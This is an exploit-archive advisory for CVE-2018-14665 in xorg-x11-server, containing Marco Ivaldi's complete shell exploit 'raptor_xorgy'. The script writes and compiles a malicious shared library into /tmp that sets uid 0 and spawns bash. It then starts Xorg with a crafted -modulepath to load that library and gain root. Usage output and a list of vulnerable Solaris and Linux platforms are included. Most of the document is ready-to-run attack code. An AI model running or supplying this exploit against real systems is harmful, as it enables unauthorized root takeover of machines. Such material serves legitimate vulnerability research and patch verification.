xorg-x11-server modulepath Local Privilege Escalation

2018.12.03
Credit: Marco Ivaldi
Risk: High
Local: Yes
Remote: No
CWE: CWE-264

#!/bin/sh # # raptor_xorgy - xorg-x11-server LPE via modulepath switch # Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info> # # A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission # check for -modulepath and -logfile options when starting Xorg. X server # allows unprivileged users with the ability to log in to the system via # physical console to escalate their privileges and run arbitrary code under # root privileges (CVE-2018-14665). # # This exploit variant triggers the bug in the -modulepath command line switch # to load a malicious X11 module in order to escalate privileges to root on # vulnerable systems. This technique is less invasive than exploiting the # -logfile switch, however the gcc compiler must be present in order for it to # work out of the box. Alternatively, you must use a pre-compiled malicious .so # compatible with the target system and modify the exploit accordingly. # # It works very reliably on Solaris 11.4 and should work on most vulnerable # Linux distributions (though I haven't tested it). For some reason, it fails to # obtain uid 0 on OpenBSD... They might have an additional protection in place. # # Thanks to @alanc and @nushinde for discussing this alternative vector. # # See also: # https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm # https://github.com/0xdea/exploits/blob/master/solaris/raptor_solgasm # https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html # https://nvd.nist.gov/vuln/detail/CVE-2006-0745 # # Usage: # raptor@stalker:~$ chmod +x raptor_xorgy # raptor@stalker:~$ ./raptor_xorgy # [...] # root@stalker:~# id # uid=0(root) gid=0(root) # # Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2): # Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5] # Oracle Solaris 11 SPARC [untested] # CentOS Linux 7 [untested, it should work] # Red Hat Enterprise Linux 7 [untested] # Ubuntu Linux 18.10 [untested] # Ubuntu Linux 18.04 LTS [untested] # Ubuntu Linux 16.04 LTS [untested] # Debian GNU/Linux 9 [untested] # [...] # echo "raptor_xorgy - xorg-x11-server LPE via modulepath switch" echo "Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>" echo # prepare the payload cat << EOF > /tmp/pwned.c _init() { setuid(0); setgid(0); system("/bin/bash"); } EOF # libglx.so should be a good target, refer to Xorg logs for other candidates gcc -fPIC -shared -nostartfiles -w /tmp/pwned.c -o /tmp/libglx.so if [ $? -ne 0 ]; then echo; echo "error: cannot compile /tmp/pwned.c"; exit; fi # trigger the bug echo "Got root?" Xorg -modulepath ",/tmp" :1


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